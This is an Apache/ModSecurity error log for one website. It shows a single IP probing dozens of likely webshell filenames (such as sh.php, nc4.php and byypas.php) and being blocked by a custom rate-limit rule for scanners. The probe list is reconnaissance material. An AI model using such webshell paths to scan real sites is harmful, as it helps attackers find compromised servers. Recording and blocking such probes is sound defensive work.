[Sat Apr 18 23:21:15.390433 2026] [:error] [pid 32647:tid 32668] [client 20.203.141.81:31026] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "aeOha0kxooM0iRo6e541fAAAAhI"]
[Sat Apr 18 23:21:16.531589 2026] [:error] [pid 34288:tid 34298] [client 20.203.141.81:7891] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "aeOhbOTIiy__PtiLmpngaQAAAYY"]
[Sat Apr 18 23:21:18.191568 2026] [:error] [pid 34288:tid 34301] [client 20.203.141.81:41209] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "aeOhbuTIiy__PtiLmpngcQAAAYk"]
[Sat Apr 18 23:21:19.044996 2026] [:error] [pid 32678:tid 32725] [client 20.203.141.81:63740] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gi.php"] [unique_id "aeOhbxUlAXU_ZWUu5y8Y1wAAApI"]
[Sat Apr 18 23:21:19.622467 2026] [:error] [pid 32677:tid 32688] [client 20.203.141.81:32814] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gi.php"] [unique_id "aeOhbxngmUE3LdC-wP713QAAAkg"]
[Sat Apr 18 23:21:20.416700 2026] [:error] [pid 34290:tid 34325] [client 20.203.141.81:32821] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gi.php"] [unique_id "aeOhcBqX6WpmmAXOBi8vuAAAAcY"]
[Sat Apr 18 23:21:20.964742 2026] [:error] [pid 32678:tid 32707] [client 20.203.141.81:39875] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gi.php"] [unique_id "aeOhcBUlAXU_ZWUu5y8Y2gAAAoA"]
[Sat Apr 18 23:21:21.683988 2026] [:error] [pid 9865:tid 9940] [client 20.203.141.81:54812] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeOhcazb5knECIY-C-irswAAAIM"]
[Sat Apr 18 23:21:22.437131 2026] [:error] [pid 9865:tid 9950] [client 20.203.141.81:37892] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeOhcqzb5knECIY-C-irtgAAAI0"]
[Sat Apr 18 23:21:23.422636 2026] [:error] [pid 32677:tid 32690] [client 20.203.141.81:64236] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeOhcxngmUE3LdC-wP713wAAAko"]
[Sat Apr 18 23:21:24.173017 2026] [:error] [pid 9865:tid 9960] [client 20.203.141.81:61798] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeOhdKzb5knECIY-C-iruAAAAJc"]
[Sat Apr 18 23:21:24.713884 2026] [:error] [pid 9970:tid 9991] [client 20.203.141.81:32251] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "aeOhdCYdRLRhVmaIMx3vKQAAANE"]
[Sat Apr 18 23:21:25.256997 2026] [:error] [pid 9865:tid 9954] [client 20.203.141.81:57011] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "aeOhdazb5knECIY-C-iruQAAAJE"]
[Sat Apr 18 23:21:26.470750 2026] [:error] [pid 9865:tid 9947] [client 20.203.141.81:32786] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "aeOhdqzb5knECIY-C-irwAAAAIo"]
[Sat Apr 18 23:21:27.399227 2026] [:error] [pid 9865:tid 9937] [client 20.203.141.81:63734] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "aeOhd6zb5knECIY-C-irxAAAAIA"]
[Sat Apr 18 23:21:27.962536 2026] [:error] [pid 9865:tid 9960] [client 20.203.141.81:37912] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aeOhd6zb5knECIY-C-irxgAAAJc"]
[Sat Apr 18 23:21:28.646300 2026] [:error] [pid 9865:tid 9943] [client 20.203.141.81:58497] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aeOheKzb5knECIY-C-irygAAAIY"]
[Sat Apr 18 23:21:29.619789 2026] [:error] [pid 9865:tid 9938] [client 20.203.141.81:37921] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aeOheazb5knECIY-C-irzgAAAIE"]
[Sat Apr 18 23:21:30.368180 2026] [:error] [pid 9864:tid 9920] [client 20.203.141.81:58512] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aeOheoCFeowknfXHM7k3VwAAAE4"]
[Sat Apr 18 23:21:31.345306 2026] [:error] [pid 9864:tid 9927] [client 20.203.141.81:32776] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeOhe4CFeowknfXHM7k3XAAAAFU"]
[Sat Apr 18 23:21:32.023601 2026] [:error] [pid 9864:tid 9926] [client 20.203.141.81:32781] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeOhfICFeowknfXHM7k3YAAAAFQ"]
[Sat Apr 18 23:21:32.902890 2026] [:error] [pid 13023:tid 13029] [client 20.203.141.81:51726] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeOhfP1e7hG8DAeABB9MNQAAAQQ"]
[Sat Apr 18 23:21:33.710823 2026] [:error] [pid 32678:tid 32730] [client 20.203.141.81:64200] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeOhfRUlAXU_ZWUu5y8Y3wAAApc"]
[Sat Apr 18 23:21:34.615083 2026] [:error] [pid 13023:tid 13030] [client 20.203.141.81:64245] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sh.php"] [unique_id "aeOhfv1e7hG8DAeABB9MPwAAAQU"]
[Sat Apr 18 23:21:35.495957 2026] [:error] [pid 13023:tid 13031] [client 20.203.141.81:37930] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sh.php"] [unique_id "aeOhf_1e7hG8DAeABB9MRgAAAQY"]
[Sat Apr 18 23:21:36.615876 2026] [:error] [pid 32678:tid 32721] [client 20.203.141.81:32238] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sh.php"] [unique_id "aeOhgBUlAXU_ZWUu5y8Y5QAAAo4"]
[Sat Apr 18 23:21:37.508181 2026] [:error] [pid 9864:tid 9928] [client 20.203.141.81:7310] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sh.php"] [unique_id "aeOhgYCFeowknfXHM7k3ZgAAAFY"]
[Sat Apr 18 23:21:38.490032 2026] [:error] [pid 34290:tid 34342] [client 20.203.141.81:37947] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uujuu.php"] [unique_id "aeOhghqX6WpmmAXOBi8vuwAAAdc"]
[Sat Apr 18 23:21:39.206753 2026] [:error] [pid 13023:tid 13036] [client 20.203.141.81:32218] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uujuu.php"] [unique_id "aeOhg_1e7hG8DAeABB9MTAAAAQs"]
[Sat Apr 18 23:21:39.834274 2026] [:error] [pid 9865:tid 9938] [client 20.203.141.81:58536] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uujuu.php"] [unique_id "aeOhg6zb5knECIY-C-ir2wAAAIE"]
[Sat Apr 18 23:21:40.348026 2026] [:error] [pid 9863:tid 9891] [client 20.203.141.81:30395] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uujuu.php"] [unique_id "aeOhhDjjiypiFrTucbLcJgAAABI"]
[Sat Apr 18 23:21:40.895153 2026] [:error] [pid 9970:tid 9993] [client 20.203.141.81:32234] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdf.php"] [unique_id "aeOhhCYdRLRhVmaIMx3vMQAAANM"]
[Sat Apr 18 23:21:41.569193 2026] [:error] [pid 9865:tid 9950] [client 20.203.141.81:41205] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdf.php"] [unique_id "aeOhhazb5knECIY-C-ir3gAAAI0"]
[Sat Apr 18 23:21:42.137489 2026] [:error] [pid 9970:tid 9986] [client 20.203.141.81:58500] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdf.php"] [unique_id "aeOhhiYdRLRhVmaIMx3vNAAAAMw"]
[Sat Apr 18 23:21:42.985867 2026] [:error] [pid 13023:tid 13039] [client 20.203.141.81:63718] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdf.php"] [unique_id "aeOhhv1e7hG8DAeABB9MUgAAAQ4"]
[Sat Apr 18 23:21:43.553868 2026] [:error] [pid 32677:tid 32696] [client 20.203.141.81:41161] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aeOhhxngmUE3LdC-wP716AAAAlA"]
[Sat Apr 18 23:21:44.119978 2026] [:error] [pid 9864:tid 9926] [client 20.203.141.81:56992] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aeOhiICFeowknfXHM7k3cgAAAFQ"]
[Sat Apr 18 23:21:44.898162 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:32797] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aeOhiP1e7hG8DAeABB9MVwAAARQ"]
[Sat Apr 18 23:21:45.440440 2026] [:error] [pid 13023:tid 13046] [client 20.203.141.81:57013] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aeOhif1e7hG8DAeABB9MWgAAARU"]
[Sat Apr 18 23:21:46.123210 2026] [:error] [pid 34290:tid 34321] [client 20.203.141.81:54800] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "aeOhihqX6WpmmAXOBi8vvAAAAcI"]
[Sat Apr 18 23:21:46.650634 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:61780] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "aeOhiiYdRLRhVmaIMx3vOgAAANU"]
[Sat Apr 18 23:21:47.377115 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:63739] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "aeOhiyYdRLRhVmaIMx3vOwAAAMU"]
[Sat Apr 18 23:21:48.678847 2026] [:error] [pid 32677:tid 32697] [client 20.203.141.81:61785] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "aeOhjBngmUE3LdC-wP717QAAAlE"]
[Sat Apr 18 23:21:49.292781 2026] [:error] [pid 32678:tid 32713] [client 20.203.141.81:41181] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zyjhr.php"] [unique_id "aeOhjRUlAXU_ZWUu5y8Y6gAAAoY"]
[Sat Apr 18 23:21:49.957833 2026] [:error] [pid 9865:tid 9937] [client 20.203.141.81:32813] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zyjhr.php"] [unique_id "aeOhjazb5knECIY-C-ir7AAAAIA"]
[Sat Apr 18 23:21:51.027532 2026] [:error] [pid 32677:tid 32693] [client 20.203.141.81:63694] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zyjhr.php"] [unique_id "aeOhjxngmUE3LdC-wP718wAAAk0"]
[Sat Apr 18 23:21:51.560412 2026] [:error] [pid 13023:tid 13038] [client 20.203.141.81:58511] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zyjhr.php"] [unique_id "aeOhj_1e7hG8DAeABB9MaQAAAQ0"]
[Sat Apr 18 23:21:52.322937 2026] [:error] [pid 13023:tid 13044] [client 20.203.141.81:32826] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b7cdb465.php"] [unique_id "aeOhkP1e7hG8DAeABB9MawAAARM"]
[Sat Apr 18 23:21:53.562300 2026] [proxy_fcgi:error] [pid 9970:tid 9995] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:53.882951 2026] [proxy_fcgi:error] [pid 9970:tid 9976] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:54.129101 2026] [proxy_fcgi:error] [pid 9970:tid 9983] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:54.522796 2026] [proxy_fcgi:error] [pid 9970:tid 9978] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:54.764541 2026] [proxy_fcgi:error] [pid 9970:tid 9989] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:55.128292 2026] [proxy_fcgi:error] [pid 9970:tid 9975] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:55.367150 2026] [proxy_fcgi:error] [pid 9970:tid 9979] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:55.606434 2026] [proxy_fcgi:error] [pid 9970:tid 9974] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:55.870985 2026] [proxy_fcgi:error] [pid 9970:tid 9992] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:56.146322 2026] [proxy_fcgi:error] [pid 9970:tid 9993] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:56.493578 2026] [proxy_fcgi:error] [pid 9970:tid 9983] [client 20.203.141.81:30986] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:21:56.864777 2026] [:error] [pid 9970:tid 9978] [client 20.203.141.81:30986] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeOhlCYdRLRhVmaIMx3vWwAAAMQ"]
[Sat Apr 18 23:21:57.965962 2026] [:error] [pid 9970:tid 9984] [client 20.203.141.81:58534] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeOhlSYdRLRhVmaIMx3vXwAAAMo"]
[Sat Apr 18 23:21:58.814585 2026] [:error] [pid 13023:tid 13044] [client 20.203.141.81:51751] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeOhlv1e7hG8DAeABB9MdwAAARM"]
[Sat Apr 18 23:21:59.540911 2026] [:error] [pid 32677:tid 32701] [client 20.203.141.81:30983] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeOhlxngmUE3LdC-wP71_AAAAlU"]
[Sat Apr 18 23:22:00.229206 2026] [:error] [pid 9865:tid 9946] [client 20.203.141.81:7905] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "aeOhmKzb5knECIY-C-ir8AAAAIk"]
